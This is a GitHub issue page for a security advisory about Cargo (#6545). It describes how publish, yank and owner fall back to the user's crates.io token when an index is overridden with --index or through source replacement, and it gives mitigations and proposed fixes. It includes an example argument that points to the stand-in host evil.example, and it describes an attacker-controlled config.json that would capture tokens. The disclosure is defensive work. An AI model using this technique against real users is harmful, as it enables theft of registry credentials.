Join GitHub today
GitHub is home to over 31 million developers working together to host and review code, manage projects, and build software together.
Sign upCargo may leak private tokens when overriding the crates.io index #6545
Comments
jtgeibel
added
the
C-bug
label
Jan 12, 2019
ehuss
added
the
I-nominated
label
Jan 15, 2019
nrc
removed
the
I-nominated
label
Jan 16, 2019
This comment has been minimized.
This comment has been minimized.
|
Discussed in the Cargo meeting @ehuss to implement |
ehuss
self-assigned this
Jan 31, 2019
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
jtgeibel commentedJan 12, 2019
Introduction
I've discussed this with the rust-lang security team, and we have agreed that it is appropriate to publicly discuss this issue and the proposed fixes. This issue does not affect users during their typical workflow. While there may be some window for social engineering, users do not typically run the affected commands from within an untrusted codebase.
Users of the affected functionality (or who wish to be extra cautious) are able to protect themselves with the workaround below while a fix is implemented and rides the release train.
If you have any reason to believe your private token may have been exposed, please visit https://crates.io/me to revoke your token and generate a new one.
The Issue
Cargo will fall back to the value of
[registry.token]when a custom index is provided via the command line (--index) or specified via various source replacement ([source.*]) configuration options. Unless the user specifically overrides this value, it will fall back to the value stored in$HOME/.cargo/config, which is almost always the user's token for the official crates.io registry.As a point of clarification, this doesn't affect the alternative registry feature (via entries under
[registries.*]) which is in the process of stabilization. Alternative registries are tangentially related, and the most likely fix is to make the problematic features mirror the alternative registries implementation.Command Line
--indexArgumentIf a user provides an
--index https://evil.example/indexargument to certain sub-commands, then the user's private token will be exposed unless the user has taken specific action to customize their configuration. The affected sub-commands arepublish,yank, andowner. Thesearchsub-command hits the API endpoint but does not provide an authorization token and is not affected.Because the affected sub-commands need to know the crate's name, they must be run from within a cargo project. Otherwise, you will receive "error: could not find
Cargo.tomlin/current/directoryor any parent directory".Via Source Replacement
It is also possible to override the official crates-io index via source replacement. Additionally, this can be configured in a project specific
.cargo/configfile. For example, the following will configure a "mirror" of crates.io and use it as the default registry.Because unknown property names are ignored by cargo, the specified
tokenis silently ignored and cargo searches the path hierarchy for[registry.token]. This diverges from the implementation of alternative registries which requires atokento be provided alongside the override, or within a.cargo/credentialsfile.The documentation for source replacement does not mention how to properly configure
[registry.token]. It is likely that users forget to configure a custom token, or use the wrong syntax.In place of
registry = "..."above, the following field names are also available:git,local-registry,directory, andreplace-with. These cover similar but slightly different use cases. In all of these situations, cargo will read aconfig.jsonfile (if present) from that location and will use the value of theapikey as the API endpoint. If an attacker controls the contents ofconfig.jsonand tricks the user into running an affected sub-command, then the user's token will be exposed.Mitigation
Until you are running a patched version of cargo, if you specify an
--indexon the command line, you should ensure you provide a value for--tokenas well.If you are working within a potentially untrusted codebase then you should create a
.cargo/configfile within a trusted parent directory containing the following:This will protect you if you accidentally run one of the affected sub-commands:
publish,yank, orowner. Of course, running sub-commands such asbuildorrunon an untrusted codebase is also potentially dangerous.If you are using source replacement in a mirroring or vendoring situation, then the affected sub-commands are not typically applicable. You should override the token as shown above as a precautionary measure.
If you do need to run the affected sub-commands, then you must ensure that the replacement index is trusted to always point to the official crates.io endpoint.
If you're using source replacement for anything else, then it's probably best to see if the alternative registry feature fits your use case. Alternative registries are currently an unstable feature, but the functionality is on track to stabilization.
Proposed Fixes
While these are technically breaking changes, I believe the following changes are necessary for any commands that make authenticated API requests:
--tokenon the command line when using--index.[source.*]configuration, require that atoken = "..."be specified within[source.*]or provided via--tokenon the command line. A more extreme change would be to disallow these API calls entirely when a source replacement is in effect. The two documented use case for this functionality are mirroring and vendoring. It is not clear why users would be using these commands because in both use cases such commands should be executed against the official index and API anyway.[registry.token]value, no matter where in the path hierarchy that value is configured. The value of[registry.token]should only be used when interacting with the official index.